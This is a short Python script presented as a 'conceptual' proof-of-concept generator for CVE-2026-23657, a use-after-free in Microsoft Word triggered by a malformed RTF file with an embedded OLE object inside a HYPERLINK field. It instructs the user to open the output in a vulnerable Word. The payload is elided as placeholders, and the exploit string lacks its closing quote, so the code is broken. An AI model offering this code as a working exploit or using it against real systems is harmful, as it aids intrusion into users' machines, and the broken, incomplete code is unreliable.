The following code is for security research and authorized testing only.
python
# PoC Generator for CVE-2026-23657 (Conceptual)
# This script demonstrates how to create a malformed document structure that may trigger the UAF.
# For educational and defensive testing purposes only.
def create_malicious_doc():
# RTF Header
header = r"{\rtf1\ansi\ansicpg1252\deff0\nouicompat\deflang1033\viewkind4\uc1\pard\f0\fs20"
# Malicious payload structure attempting to trigger the memory corruption
# Typically involves malformed OLE objects or specific RTF control words
exploit_body = r"{\field{\*\fldinst{HYPERLINK \\l \"{\\object\\objclass{...}\\objdata{...}}\"}}{\fldrslt{Click Me}}}
footer = r"\par}"
return header + exploit_body + footer
if __name__ == "__main__":
poc_data = create_malicious_doc()
with open("cve_2026_23657_poc.rtf", "w", encoding="utf-8") as f:
f.write(poc_data)
print("[+] POC file generated: cve_2026_23657_poc.rtf")
print("[!] Open this file in a vulnerable version of Microsoft Word to test.")